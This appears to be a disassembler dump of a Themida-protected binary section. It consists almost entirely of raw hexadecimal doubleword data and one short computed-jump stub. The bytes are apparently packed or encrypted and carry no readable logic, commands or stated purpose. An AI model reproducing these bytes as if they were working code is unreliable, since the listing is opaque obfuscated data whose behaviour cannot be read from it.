		dd 0C7B351F3h, 0E410F40Eh, 0C09C58E8h, 0EA16EE16h, 0C09C58ECh
		dd 0EF0BE913h, 0BAA65ED8h, 7220E418h, 815A5452h, 4C2h
		dd 4EA8300h, 5C241487h,	570C68h, 242C8900h, 445C68h, 240C8900h
		dd 3A556851h, 0BD5915CDh, 1DCC5CFBh, 6859CD31h,	3EDFh
		dd 83242489h, 59042404h, 895A5552h, 8B5A0851h, 8956240Ch
		dd 4C681E6h, 81000000h,	4C6h, 24348700h, 2434FF5Ch, 4C4815Dh
		dd 0E9000000h, 0FFF8EA3Ch, 5A1F5463h, 0D8560184h, 197F269Dh
		db 80h,	0B4h, 81h
; ---------------------------------------------------------------------------


loc_61AFB3:				; CODE XREF: Themida_:loc_618103j
		mov	eax, 8019438h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 4CAC0065h, 1C11D55h,	495C6E76h, 6DAADB00h, 59CCE1D8h
		dd 2C1B5697h, 32BEAE30h, 21F02CE5h, 2BAD529Ah, 304E0DCAh
		dd 6A9F1146h, 54EB3279h, 42EB9397h, 95808D8Dh, 89F90801h
		dd 0FA27C18Dh, 0D9B58B07h, 0E807FA11h, 8, 0B6DD39B7h, 2E1F48A7h
		dd 5AD38B66h, 1C0185C7h, 72A407FAh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0E086AAC3h
		dd 0C85FAA7Eh, 0ED85C7F6h, 7FA1Ah, 66000000h, 0FF7263BEh
		dd 0FA0235B5h, 81BA6607h, 7D95FF99h, 6A07FA17h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 0BC5DC357h, 0FF006A09h, 0FA012D95h, 0EBC08B07h, 94D2B56Ah
		dd 5E47EFE7h, 58D10F5Bh, 3113E4DFh, 37DFE116h, 0DEF79354h
		dd 6D50AA59h, 85E439BCh, 2D40B921h, 7BFDC153h, 0B12F0h
		dd 14A51A67h, 0E194C4D6h, 4EF7836Dh, 0F6D50A81h, 0DC4BF756h
		dd 0D0C71332h, 1E4C7FB3h, 82EFBCDBh, 774E9595h,	5B10D962h
		dd 3A3A8E09h, 0C1A2770Eh, 628EA13Eh, 8B03604Ah,	87BBD320h
		dd 0E9463BE3h, 87h, 1583BAB0h, 0BAF5CC47h, 66D138F3h, 9FABAFD6h
		dd 7C4DB297h, 95B7E3h, 0E9A9E572h, 9BB69CB5h, 0B6F37760h
		dd 9EB794A9h, 7D60D760h, 9EA9BD89h, 729EBD8Ch, 4A95ACE3h
		dd 9BB98B20h, 9D89937Eh, 0AFF496B9h, 94A19E96h,	91A7D6B5h
		dd 48D100FDh, 33594ACCh, 5200713Ch, 0F357DB4Dh,	0EFB6005Eh
		dd 0BD899DBBh, 9F899500h, 97BBEFB6h, 0B1B6D000h, 527155C3h
		dd 0DA43700h, 910D3C2h,	0Eh, 0
		dd 0E9000000h, 231Bh, 19A0F68h,	0E852E908h, 0A68FFF8h
		dd 0E908019Ch, 0FFF8E848h, 19E0F68h, 0E83EE908h, 5668FFF8h
		dd 0E90801A1h, 0FFF8E834h, 1A26468h, 0E82AE908h, 0A68FFF8h
		dd 0E90801A4h, 0FFF8E820h, 1A5A668h, 0E816E908h, 0EB68FFF8h
		dd 0E90801A6h, 0FFF8E80Ch, 1A86E68h, 0E802E908h, 668FFF8h
		dd 0E90801AAh, 0FFF8E7F8h, 1ABDD68h, 0E7EEE908h, 0E468FFF8h
		dd 0E90801AEh, 0FFF8E7E4h, 1B45E68h, 0E7DAE908h, 0B368FFF8h
		dd 0E90801B6h, 0FFF8E7D0h, 0CF60EC6h, 0AC56EEE4h, 7FB35C4h
		dd 0C250EAE7h, 1EF410BEh, 88460E38h, 6E6A867Ch,	8B442CD6h
		dd 6A658979h, 219F2AD8h, 5C8DAEB5h, 0AD6D07C2h,	1B4AAE12h
		dd 74CA5E24h, 67E9B060h, 1FB46210h, 604D8878h, 20B1CF49h
		dd 6F4BA91Ah, 873DC70Bh, 0ED0916Bh, 0C5B3E413h,	0E201E50Ah
		dd 3BCA5E09h, 4B535D66h, 4347F85Ah, 0B2602739h,	1F46B20Eh
		dd 78CA5DE0h, 94265C2Bh, 5D669E34h, 23DDF753h, 0CE20C474h
		dd 8BD257F6h, 2F58E2EFh, 0A5F73F93h, 0D2023A98h, 0D003AB29h
		dd 3FA3E0F0h, 29575F5Ah, 0AAFAA65Eh, 742C1D01h,	0F5DEA207h
		dd 6B1CB54Fh, 63E9DA05h, 26DFF9C2h, 0E1A95B66h,	3ABA0962h
		dd 506B7A5Eh, 0EFC4C263h, 47AB4491h, 0C2635018h, 91736071h
		dd 0C3904BC2h, 0E1617843h, 485F507Dh, 269D36CEh, 553D2C61h
		dd 3F8F026Fh, 0EA707B7Bh, 68178034h, 80h, 1729A4C8h, 6E12AC70h
		dd 8A23E163h, 263305FDh, 59EBE68Ah, 1681BB17h, 59D8BE2Ah
		dd 0F1CDD258h, 63EEDE05h, 66A37C2h, 6E4C3BC9h, 0B93BC112h
		dd 7521E3F0h, 3F48C2D9h, 63EFA6B9h, 0F70DC5C2h,	50CAE1FDh
		dd 0F10BC8B4h, 6FDCFFE6h, 2D0DCC97h, 777D8751h,	0B5A4E9AEh
		dd 7026FB0h, 0EB203FA3h, 2879C263h, 20BA05Fh, 0B0000000h
		dd 0A4299312h, 0A55F7928h, 0C7FDC65Fh, 0CD7DE898h, 6A2A5D97h
		dd 6D2AE12h, 0BB2D06FEh, 0CA5E24A4h, 23C8D7FBh,	9021CA5Eh
		dd 0F6DFA132h, 781FA84Ch, 34A04D88h, 0CA5E242Dh, 0D95B9298h
		dd 0F7BB3BF3h, 0B39719AAh, 49B3E41Eh, 2AC7116Dh, 5E0FA7BEh
		dd 20B300CAh, 0B84D8977h, 76E3A9DCh, 4AF4DF42h,	21B221AAh
		dd 0ED17BB9Fh, 0AB593E07h, 0E30FAB0Fh, 0CA5D61BCh, 455C8C15h
		dd 9ECA5D62h, 5B768215h, 62333296h, 0E48CCA5Dh,	159E56EEh
		dd 0CFAB15BEh, 1E20AB38h, 11764DE6h, 14A3C773h,	10F40EC7h
		dd 0DF688C37h, 0A00DC8B8h, 5FE80C34h, 0BEA29E74h, 3912F212h
		dd 6762AA4Eh, 8FEBCA5Dh, 0AECABD47h, 202CE23h, 438BEFD1h
		dd 743CD6C1h, 0C143FDD8h, 0BA093B95h, 0CB20ABCDh, 0ECD4FF01h
		dd 0D9BE4690h, 0E3EB8F2Bh, 7D0AA361h, 2F93B385h, 0CA5D5D30h
		dd 5D445B87h, 149DCA5Dh, 12AE25AEh, 21E3616Eh, 0A5BC2888h
		dd 0FECA5D5Dh, 0F2D6E2B5h, 0D2577B1Ch, 783D9121h, 0D40A7296h
		dd 6AAF7C3h, 82273EAAh,	2080C263h, 6382ADB4h, 6BD06C2h
		dd 512D1181h, 0F31780BAh, 5C6465h, 0FCD52FE9h, 0AD11AD8Bh
		dd 63821A49h, 0C60B73C2h, 0E9E9873Ch, 6F18B153h, 60C1B009h
		dd 0D6FF5BCAh, 98FFC82Ch, 0FD37C6AAh, 4986EAC6h, 0D0ECCCBBh
		dd 0A0D82900h, 21660330h, 0D9FAF7DFh, 7B48E123h, 766D5935h
		dd 0CFBA6649h, 39F59502h, 0FF88BA15h, 0F1DCD501h, 541CB54Fh
		dd 0A9F8CB45h, 0CEAD3431h, 142F4CA4h, 0C300001Fh, 0DF1FF30Dh
		dd 0B5B949F3h, 0DA16EC26h, 0AFCF43F9h, 5FE51D27h, 93B11D37h
		dd 0AB557F7Fh, 84BE1757h, 0DD67728Eh, 0BA1EA225h, 0C25C8AABh
		dd 12926204h, 0B5E2626Eh, 15FA0BC3h, 26BFA0DCh,	8C34DEF5h
		dd 84768544h, 257271F4h, 8F33F8D3h, 0CA5DDC90h,	0C5EBD8E9h
		dd 82152FA9h, 8F442808h, 0FAB68F75h, 5DDBD7CEh,	0F4A330CAh
		dd 0FDFEDC20h, 0EC7D7B3h, 7DE2F3DAh, 715F197Eh,	66D25786h
		dd 0BC38CC0Ah, 1BEDF4E0h, 7D46C263h, 0DD814146h, 1DB64EF4h
		dd 57660AA6h, 98E17DDh,	13BB9F7Bh, 0FC23CFF1h, 55C2631Bh
		dd 0AAB53B4Ch, 4FC2631Ch, 0A3B25594h, 0F5026E8Dh, 0BFC84259h
		dd 1B340h, 0D1FC6000h, 2DA9D52Fh, 7F54DD17h, 7D20418h
		dd 0EF152FAAh, 27436D56h, 0DB7490AAh, 7D0A3895h, 0F6FBD3FFh
		dd 48F8D4DDh, 468487Bh,	0B35136CEh, 203FA307h, 79CA5E24h
		dd 24B2B115h, 0B60BCA5Eh, 0D769630Dh, 6D03941Dh, 0CA5E295Dh
		dd 851A2BA6h, 0A655D090h, 3418982Bh, 0C48D6799h, 0D37737D3h
		dd 0D2AE46F8h, 0BFC8FB01h, 0EDD916C1h, 0CA5DD1F6h, 6F51824Fh
		dd 0F4D13F5Fh, 187F7CE1h, 27ACD06Ch, 0C2986A1Dh, 1DD76D66h
		dd 0ADDD4094h, 0F0C312D4h, 5AD5DDE3h, 3F303B0Bh, 0BA3FB3Dh
		dd 0A1D599B9h, 0B09E4AF6h, 0B5D25821h, 0CFB31EEDh, 1C6B8097h
		dd 4F56821Eh, 0A6C2640Ah, 640A2342h, 8B277CC2h,	47238D36h
		dd 6822758Fh, 0C32EA4C8h, 33FCF80Ah, 0BCCB64A0h, 3F94F4C6h
		dd 8EF2CE05h, 6C45BF45h, 0DD811D1Bh, 1AB351F3h,	46A1036Dh
		dd 126ECA61h, 6E4C3BC1h, 863DC712h, 0CC8E9A2Ah,	0EE345D9h
		dd 0FB8D711Ah, 58586B37h, 6698756Ch, 9205CEBAh,	6B660AA6h
		dd 5921BD9h, 8729DBF3h,	21F01C37h, 0CFB82C80h, 0B31F7B43h
		dd 0BA66F9ACh, 0ADCBBC05h, 388E2321h, 9DCEAC84h, 1D191643h
		dd 8C80000h, 0F4DE22F0h, 2FBEC250h, 0F0E11DF5h,	1EB8B84Ah
		dd 82A1CE6h, 9082824Ch,	26DC6470h, 8B778D4Ah, 2CD66863h
		dd 0ACB31F9Dh, 5C25C88h, 0C212AB6Fh, 5C75747Ah,	6D8BFC77h
		dd 0FD24D061h, 56CA5D7Eh, 7F978E3Ah, 0E3F0CA5Dh, 0C1DDE3F0h
		dd 5D7F0E15h, 2D5A67CAh, 88D1E1DDh, 73246182h, 2CDABDCh
		dd 0B51E24ADh, 0D9626F0Bh, 244BC482h, 41C3108Eh, 0A7731F68h
		dd 55B3C212h, 0F81DDAEh, 0ADDA6071h, 23AB00CBh,	264AE321h
		dd 0D0599BA9h, 37A1BD03h, 395EE70Dh, 438BEFCBh,	2FAAD6C1h
		dd 4CCFD602h, 9B28CA5Dh, 6C6C4329h, 17ACAAFEh, 0E91BB599h
		dd 5A7E420Bh, 0CA5D454Bh, 0A880FA4h, 0F3A19E26h, 0AE3A10F4h
		dd 0F30097E9h, 5DC0D0CFh, 0D89829CAh, 758F44FCh, 1B29A5C9h
		dd 0C0418C6Ch, 4B1F9BAh, 9A71C80h, 1ED66C65h, 3A87D796h
		dd 5083DE79h, 87E3CB47h, 7A53B14Bh, 3E46300Dh, 0E48CB022h
		dd 5A3057E9h, 94AD2880h, 45A42B45h, 3050838Dh, 0CF589CA4h
		dd 9A0BC04h, 545CF50Fh,	5DCB7170h, 8EF9CACAh, 46B20EB2h
		dd 0CA5DCB1Fh, 0DBCA2C78h, 3595ADF9h, 0CD7FF99Eh, 4CD2581Ch
		dd 4565BE78h, 1EB510B5h, 0B1213DE3h, 0B7E0698Bh, 0ED621F41h
		dd 0F7E07CB9h, 72483A4Dh, 737256h, 0F7CCCAD9h, 5FA55F79h
		dd 97B3FDC6h, 0A593043Eh, 0DC566509h, 3B745ABh,	0D4DCD2D3h
		dd 0F88BD0ACh, 873364F2h, 8251EBE7h, 8BB1223Eh,	4DB7E069h
		dd 44FE0D71h, 6AA0E7C0h, 0A76178D0h, 714F844Dh,	0E2942961h
		dd 0A4AED3F3h, 1DEED6A7h, 0C405CF76h, 0D37C456Ch, 912D0B7Ch
		dd 0A262E0EDh, 3FFA7E09h, 0EECADD1Ah, 0A4FF26D2h, 4B58BAE0h
		dd 0BA367E3Ch, 3E85DDF7h, 72427E55h, 68938EEh, 0C6126E12h
		dd 4367593Eh, 691AB27h,	0D2DFFAh, 0D9E9C7FCh, 0F70F8B46h
		dd 0CE3C4BC2h, 841D27B2h, 0CE32D538h, 1416439Dh, 0C300001Bh
		dd 0DF1FF30Dh, 0B5B949F3h, 0DA16EC26h, 0AFCF43F9h, 5FE51D27h
		dd 93B11D37h, 0AB557F7Fh, 84BE1757h, 0DD67728Eh, 0BA1EA225h
		dd 0C25C86ABh, 12926204h, 29CD646Eh, 0CA5E23FAh, 42557E53h
		dd 47699B36h, 6F95AF23h, 6753B1D6h, 24809F43h, 0C8D9CA5Eh
		dd 99EDCBBFh, 63EC0802h, 56A45070h, 0FBD25831h,	1C1EFFB3h
		dd 0A2F5BDA7h
		dd 0D5CCF898h, 2EC263E5h, 0DCE42EA5h, 0ED1D0ED4h, 45B15314h
		dd 0C263B41Eh, 17992A77h, 63B4B4ABh, 0D3C40DC2h, 742129AFh
		dd 4D63AD19h, 1C804093h, 63DFA9B8h, 0E6B102C2h,	399AB6DAh
		dd 0A19BD03h, 63C263DFh, 0D5AF494Eh, 0E4CA5E12h, 389C517Ch
		dd 0BA69AC29h, 31A23182h, 98C72B8Fh, 0F1BA69ACh, 0F09A0E0h
		dd 0D12B5CF5h, 61DC9E5h, 5DBA69ACh, 69AC6A79h, 0D4EEC3BAh
		dd 0BDE098FFh, 0DCBA69ABh, 8A993DF0h, 0E3BA69ACh, 0D3FF05CEh
		dd 2CAB49FBh, 0DD1936B5h, 26647141h, 0AC1812A9h, 0E8AF1381h
		dd 25EDEFDh, 0FDD62ED6h, 4AAA6473h, 66F71681h, 3A0A6102h
		dd 978E3A56h, 0F0BA6999h, 990E15E3h, 0E379BA69h, 4FAE6C7Bh
		dd 234D565Ch, 0D55E96A8h, 0CC35C2h, 37530000h, 7F85BF13h
		dd 382342A6h, 277CBA69h, 38465D89h, 129FBA69h, 0FEDC8F85h
		dd 17C029AAh, 953E07EDh, 9332823Eh, 0EE65AE7Dh,	0A450F097h
		dd 0D25857CCh, 469A3D85h, 0A5A379ABh, 912848F2h, 0FFD45D97h
		dd 0F359DC1h, 8D2B5CF5h, 109DA131h, 14CE31D6h, 43CE846Fh
		dd 0F99E3557h, 1E35CE07h, 76FE3F19h, 0CFDFE1F2h, 2FA9D428h
		dd 4DD2BF15h, 6D51C1C6h, 4D3AC011h, 64117AA3h, 5F79D5C2h
		dd 0CB06F2A5h, 0C4D37739h, 7621AA4Ah, 0A138141Ch, 0D3C48D67h
		dd 0CC728A5h, 0FF3A12F2h, 0ACD00A14h, 0BA3A893Ah, 0AD5782DEh
		dd 96427E47h, 0C263A88Fh, 0CBACDBE8h, 191Fh, 0BB4091EDh
		dd 9DB775AAh, 0D232A124h, 6164D6FAh, 0B80B6353h, 0FEDCCDCFh
		dd 23E7FEEAh, 7340CA5Eh, 0C341C30Dh, 0C7D7D9EAh, 0F824DA3Fh
		dd 7B8E365Ah, 0F907EE68h, 0CEF2CEB9h, 0DDF06F2h, 6B38CA5Eh
		dd 0A4B2541Ch, 5B3FD25Fh, 5C786877h, 0A7F0C1C2h, 0E81AB39Bh
		dd 3090430Ch, 187F814Ch, 0EAE88428h, 5D408053h,	0F4DF410Fh
		dd 0D6C1438Ch, 0AB152FAAh, 3CFC05CFh, 286CCB62h, 0C0896B58h
		dd 98333BD7h, 6E86B813h, 0EED2EEE5h, 5C37DB0Ah,	0F89F34C2h
		dd 9320B08Ch, 0A643CA2Bh, 92285A2Dh, 8B432789h,	0E5B27B79h
		dd 0EFD3B7D3h, 0C25C6BF0h, 0D133CD07h, 9EE9BAF8h, 5E01BFDAh
		dd 649030CAh, 0BA5AD63Dh, 472A0E96h, 0D05E809Dh, 0CCF0D003h
		dd 5AD1F928h, 168152BAh, 0E9EA862Ah, 99344453h,	6A8ABA14h
		dd 41C3418Eh, 0BB155B68h, 0F1E26B89h, 96411D21h, 0D8BF886Ch
		dd 15C02DA8h, 0B4D8D8EBh, 5AD21110h, 17596ABAh,	691384BEh
		dd 5D4105CDh, 25DF656Eh, 17C6388Ch, 0F1C7BBCCh,	0A40C0695h
		dd 5AA82140h, 9A297ABAh, 669E3A16h, 0DF7B1F21h,	0B53B4CF6h
		dd 0C254C43Fh, 0B7AE1A76h, 0EB2608Dh, 608CBBEAh, 3BF14B2h
		dd 268C25AEh, 0AFD6B2F1h, 17CD2855h, 547C0000h,	0B81A56ACh
		dd 5B728E84h, 844D31E1h, 626C947Eh, 7CA630E2h, 0BC46FED8h
		dd 1AE818B4h, 0B74BF9D6h, 30E21CB7h, 0B0AF13A9h, 9C25C83h
		dd 6E12A76Bh, 8C25DF65h, 246A75FBh, 0F9C9CA5Eh,	0DB075792h
		dd 0CA5E23C4h, 3540941Dh, 265C2B8Ah, 51507494h,	0AACA5D57h
		dd 0E206AA19h, 0D25EECBFh, 7094421Eh, 0EECCBB94h, 6DA3AAE6h
		dd 0CE050255h, 1603E2F2h, 6B3459BEh, 30801C1Ch,	448F30CCh
		dd 12650ABAh, 810918BCh, 5162C25Bh, 0E8E31582h,	4C34CE03h
		dd 6C547F81h, 4E39C310h, 7760FCC4h, 13BEBACDh, 0EF150F9Eh
		dd 87BD1A56h, 0D1EFE46Dh, 6CF20ADh, 44C0C7FCh, 91903458h
		dd 0EAC25B81h, 3A97D9h,	0E4E57397h, 0D14C0DCh, 66C25B81h
		dd 6A8E2A5Dh, 0CA558E14h, 0F2F1D5B9h, 5DBA6173h, 0AC5B748Ah
		dd 563A78D3h, 621A7372h, 0CCF7CCBAh, 485FFFBBh,	8F4A36CEh
		dd 0DB68F75h, 0B7D3B2B7h, 0AE251E21h, 0B1C14F03h, 512E86CEh
		dd 16BFh, 34DE666Eh, 947E864Ch,	2FE35D6Ch, 8A78824Fh, 26DC6866h
		dd 0F0DE76A0h, 16C2BE54h, 0F3DC24EEh, 12BDC151h, 893722F0h
		dd 5C82465Dh, 0B5C59FC2h, 0E612AE12h, 0CA5E23BFh, 465D8B18h
		dd 9FCA5E24h, 0D9EA14BFh, 0FD07D2AEh, 0F4EBD7B3h, 4DCA5E23h
		dd 0CD691384h, 32E6B105h, 5136531Ch, 5B87A42Fh,	0CA5D4044h
		dd 45BF149Dh, 6C888219h, 6CBB4290h, 56479A3h, 811DD7ECh
		dd 5DDB4E55h, 0BE1AA7CAh, 52A7A447h, 7FA6526Eh,	96CA5DDBh
		dd 1CA50D07h, 47F7F26Bh, 33CD0763h, 0F1F0F8D1h,	4ACA5DDAh
		dd 20DAF779h, 0C8C79677h, 0F5990595h, 2EC67C59h, 0E34C53A5h
		dd 6CB7CA5Dh, 0BCF47194h, 0EA9D268Ch, 9E48Dh, 38CFAB00h
		dd 0B32022ABh, 0D0F7851h, 0DF656E12h, 0B10610F5h, 5740C328h
		dd 8551A533h, 17AC857Fh, 853E2D99h, 3D85D25Fh, 0C2F392E2h
		dd 3DC70BE3h, 0B2E5EEB7h, 0D26B6808h, 0A55B5380h, 0A2627137h
		dd 5AF6BA09h, 1E45B178h, 77C25C5Ah, 52EE992Ah, 3CC0126Eh
		dd 58A8EFB8h, 8663707Dh, 0BB08BB49h, 5D16ADF5h,	9E26D8F3h
		dd 5443C7F1h, 0D21FBAB6h, 5C79FF26h, 784B58C2h,	71705438h
		dd 0CAC25C7Ah, 4AF68EF9h, 7A638266h, 0E7BCC25Ch, 79C5D8A0h
		dd 6CEEC25Ch, 7A79A84Ch, 2D2C25Ch, 18FC5181h, 0A71DA60Ah
		dd 8D7F4E5Ah, 0EED201ECh, 92C9CFE6h, 9BECD792h,	705D019Dh
		dd 2024AED2h, 0B43C4BE4h, 0CA569686h, 8AE7A32Bh, 5C7B1E24h
		dd 33438F2Bh, 0DAEA3067h, 60DED300h, 75CEB107h,	15193E1Bh
		dd 8C80000h, 0F4DE22F0h, 2FBEC250h, 0F0E11DF5h,	1EB8B84Ah
		dd 82A1CE6h, 9082824Ch,	26DC6470h, 8B778D4Ah, 2CD66863h
		dd 0ACB31F9Dh, 5C25C80h, 7D2AB6Fh, 0EF152FAAh, 27436D56h
		dd 770592ACh, 0CCD3FF9Bh, 37CA5E23h, 0E789B084h, 0B734F44h
		dd 0EDC63EC0h, 4CFB1D6h, 0C2E4FBE7h, 743DCA5Dh,	0D4FD615Fh
		dd 9776822Fh, 0DB67E72h, 0C7D6027Ah, 7CBA74Dh, 0BC43F7FDh
		dd 0E3D9301Dh, 4041BC7h, 545DCA5Eh, 0FF3F9A43h,	428379Bh
		dd 3081CA5Eh, 0A1372667h, 0E5890595h, 0CF3057EDh, 865h
		dd 0BE448DF1h, 0FA1A6D46h, 5E24174Ah, 4F2E76CAh, 5B8A6E0Ah
		dd 0B4CA5DD7h, 8D7B51Fh, 0E07A90F7h, 52B24A88h,	0EDEE4B79h
		dd 56358ADBh, 5767436Dh, 24DD4D18h, 0DD04F4A2h,	36CA5E04h
		dd 821E1A6Dh, 5ABBA1Eh,	0AF04CA5Eh, 9B4F10E8h, 462AD25Fh
		dd 9B777DB7h, 5C6F2837h, 0A33081C2h, 337D46F4h,	1483BD17h
		dd 0E8E48824h, 756C5858h, 0CEC25C6Fh, 6B669205h, 0FB3D7D9h
		dd 0C25C6F10h, 3191AB27h, 8381834Dh, 246E19AAh,	6D94401Ch
		dd 22B78906h, 0EA9D2627h, 7F41C30Eh, 83A8B71Bh,	0B001C25Ch
		dd 0DD811DE7h, 3E4453F1h, 8EB61C7Ch, 0AD62DE76h, 0CE17AE35h
		dd 0CEF2CE05h, 5D0DFB2Ah, 886C54C2h, 0C25D0E59h, 0E5B221B2h
		dd 96E7B7D3h, 0B6FA3B03h, 0D86C6A06h, 91F349AFh, 0B498CA56h
		dd 0F1F0D419h, 4ABA6277h, 21AA4A79h, 80F8CC76h,	6D77078Ch
		dd 5B9E8DBh, 0D0CEB08Ah, 137D8370h, 0A42C0000h,	488A669Ch
		dd 8B225EB4h, 547D8191h, 0B21C64AEh, 0ACD68092h, 0EC162EA8h
		dd 0CA38C804h, 0E71B29A6h, 0E032CC07h, 1FC3F9h,	59C25C7Fh
		dd 6E12F7FBh, 861FE55Fh, 2AD4FF01h, 4192EECAh, 1DD75168h
		dd 28583F94h, 512D93ADh, 0AC857F85h, 0C0217918h, 88FCD99h
		dd 0C973607Ch, 79834F2Bh, 9F3AC97Bh, 56957B2h, 955037CDh
		dd 74A2B356h, 5AF60595h, 24D3C478h, 6EDh, 646E1260h, 9E8C24E0h
		dd 0ECC70D1Fh, 75FB8C37h, 0CA5D4870h, 0E4FBE7C3h, 3BCA5D47h
		dd 5D488897h, 0F2D0E1CAh, 6D4B6E1h, 339FBB05h, 0DEC27E09h
		dd 47AD5782h, 669EA02Bh, 0E791F6CDh, 0D25EDDFFh, 0D3B7F9CAh
		dd 814D5A77h, 1BA88183h, 0AC418C6Ch, 5BB11948h,	99A330C2h
		dd 0E3F0D25Bh, 0F212309Dh, 2A466A59h, 0D77094A8h, 25E62B0h
		dd 18682FD5h, 753D83BDh, 0A824A3D7h, 1D35C98h, 2E596FE1h
		dd 7786EAD6h, 0A1338EBEh, 0E0F361BBh, 6FC8B24h,	0B1B01434h
		dd 8C25B7Bh, 5B7AC5DCh,	2D951EC2h, 2D912FA4h, 787C8651h
		dd 8A10E8AFh, 0EFCA5582h, 334A7EDFh, 0A2DE24C2h, 5AF3110Bh
		dd 6D448D2Dh, 0CEB1699Fh, 3801DE36h, 0E7000012h, 0BBC34FE9h
		dd 0D915ED17h, 0B6BA48C2h, 0D31BE71Dh, 0BB949FBh, 0D76D69EBh
		dd 7789432Bh, 0D86A638Bh, 798B462Ah, 0D602BE89h, 0C25C7DCFh
		dd 124E4E28h, 0B6E1636Eh, 34A20FCAh, 0E0F311BDh, 0EAE58B24h
		dd 29456B58h, 0C82C94AEh, 0CA5E2499h, 4EB6E1F2h, 0CE576272h
		dd 95873B12h, 0D6DBF602h, 357B48FCh, 6C888219h,	5748B4E3h
		dd 606B8B4Eh, 308C34DEh, 5D409DC4h, 0EB25B4CAh,	31824009h
		dd 61362766h, 20C90595h, 0E7000000h, 0B6BA7483h, 779DEA1Ah
		dd 0E2626E12h, 1FE8922h, 585h, 48577B1Fh, 0A1CA5E24h, 12958710h
		dd 22E2626Eh, 0A4BB2789h, 0FDCA5E24h, 180DE3B4h, 6BCA5E24h
		dd 247CA34Fh, 4E7CA5Eh,	0E79DA994h, 0CCB4FDC5h,	2B040000h
		dd 8794265Ch, 648D4529h, 5D2F6180h, 0DAE9BACAh,	4B5A7E1Ah
		dd 0A4CA5D2Fh, 0D8FCC40Fh, 0CA5D2EC9h, 3A069122h, 8B434E56h
		dd 95DBC636h, 0B5BB083Ah, 0D7A1E61Ch, 0D25ED216h, 1F21ABD3h
		dd 62700CB4h, 6911ADAh,	89BB163Ah, 0C9D9B579h, 6643825Ah
		dd 8F966241h, 0E8C25B6Ah, 1CCACDBh, 0B2F1C1FFh,	0D1B44B39h
		dd 0B18DF7A0h, 44E50B21h, 682FF931h, 54809822h,	0C25B424Dh
		dd 0AA61DA6h, 46233BBAh, 0CDBAC4B8h, 23ABCFEBh,	0D54BE321h
		dd 1557C2B5h, 5B158251h, 0CA55A2BDh, 6AE09222h,	0A77E9B3Bh
		dd 6F7EE2E0h, 0F7931EB5h, 0DECEB24Ch, 10B55986h, 6C640000h
		dd 90423ED4h, 435A966Ch, 9C3539C9h, 7A549C66h, 648E38CAh
		dd 0B45EE6F0h, 120000CCh, 0AF63E1EEh, 8FA04CFh,	48577B41h
		dd 0A1C25C7Ch, 7D2AFC3h, 0DE162EAAh, 58876B55h,	0B1CA5E24h
		dd 6551B320h, 0D079135Dh, 5D44FD24h, 774D56CAh,	4146AAC2h
		dd 8A6A943Fh, 25DF656Eh, 3C639839h, 0CCCAF967h,	0BF838152h
		dd 0EFACA940h, 241EADD1h, 4FEFEA73h, 0C58876Bh,	20B1CA5Eh
		dd 614E8977h, 0B26C7B74h, 664A7952h, 5E0C6382h,	0DCE7BCCAh
		dd 0C2268A26h, 0CA5E0CA3h, 0ADE0A7FCh, 5959DBCh, 0CC616C10h
		dd 5E0FF928h, 528152CAh, 0DEAB19B2h, 0DEB20B11h, 1D06791Eh
		dd 2A000000h, 0D1436286h, 79CCA5Dh, 6E129C80h, 0C3B4E361h
		dd 3D1h, 0B87289E5h, 0F024733Ch, 0E2626E12h, 24273BB5h
		dd 0D478CA5Eh, 494146FEh, 0F5B6B6Fh, 0AEA1AB4h,	0CE019341h
		dd 9E4A665Dh, 0D25F9EDCh, 0A2C12589h, 0FBC25C72h, 0D1E1E1A6h
		dd 0AD04722Bh, 18982B93h, 0CF515074h, 6C68C25Ch, 1B9730D4h
		dd 8B699B33h, 0A4C311C2h, 9FF3A1F8h, 405C5C2Bh,	8B18F470h
		dd 5F286CBCh, 4D79B621h, 0C25C9B56h, 0FE38CFAFh, 0EC14FED5h
		dd 3D615FE1h, 9B6E7561h, 0FAC7C25Ch, 5C9AF7EEh,	148350C2h
		dd 25B0CC68h, 10F40CC8h, 7FB8C37h, 0B2B11531h, 0BC25C9Bh
		dd 7A30DB6h, 1CD86A63h,	0EE6C0493h, 53CA56A2h, 79488C4Bh
		dd 128553FDh, 738D4828h, 1EB8B891h, 32C4DDE6h, 0A3CEB0BCh
		dd 0F1D1441h, 4CC0000h,	0E8EA06FCh, 2BC2BE54h, 0F4DD21F1h
		dd 12BCC44Eh, 0C3620F2h, 8C768E48h, 2AD86864h, 877B8946h
		dd 40D26C67h, 0A0BF2399h, 0F9C25C7Ah, 0C212975Bh, 8F49D0A2h
		dd 0B7C15F75h, 0FBD62275h, 982BD9F6h, 0FAD87418h, 0FFE9C242h
		dd 0CA5D77E0h, 651F6839h, 0B33C95B9h, 420BE91Bh, 0ADDA7391h
		dd 8FEB00CBh, 6D46BE78h, 5D78647Bh, 0DFF4BDCAh,	0B2507DE1h
		dd 760E7952h, 3BB9738Ah, 768E881Fh, 0DE6B6EE7h,	0BE0B93CDh
		dd 41572BEDh, 92491483h, 0E14A22B2h, 0A6A82685h, 0B7349FE1h
		dd 3824E01Ah, 6271629Ah, 2D7A565Eh, 842385Dh, 69F8137Fh
		dd 7A0595DFh, 3Fh, 0CFD6029Eh, 28CA5DCDh, 8F758F48h, 9A7A0DB6h
		dd 1B4AAE12h, 74CA5E24h, 3247385Fh, 69000002h, 98922945h
		dd 0FE25D35Ch, 55CA5E23h, 5E247271h, 0BCF6CBCAh, 23F1F0D4h
		dd 794ACA5Eh, 12573D4Ah, 0F0214C2h, 6F1883C4h, 5DA5DD09h
		dd 66922ECAh, 0CA5DA63Fh, 867C0B98h, 0EA34A8B4h, 53AC875Bh
		dd 0B31C4080h, 563A0691h, 689F754Eh, 7423787Dh,	5F7E42FCh
		dd 507BDFD2h, 0A7D56AEh, 7B855030h, 80586848h, 0A99547A8h
		dd 948B3779h, 0EDC25CCCh, 0A905B3E4h, 0F9FB09C5h, 0BE196730h
		dd 2A9AA031h, 45D44BA9h, 10B023E4h, 4E8A676Ch, 5EE70DB6h
		dd 0B9D5D939h, 5C39160Dh, 35626FC2h, 7F638843h,	0C25C3960h
		dd 39140BB7h, 646DC25Ch, 427E555Eh, 493B11Eh, 0D4009C78h
		dd 0C25C38CDh, 18EA9D26h, 5CE8E642h, 45B10F98h,	0C25C391Eh
		dd 17992A77h, 0B4AB1773h, 0DC25C39h, 7F1DD3C4h,	0E4CA5640h
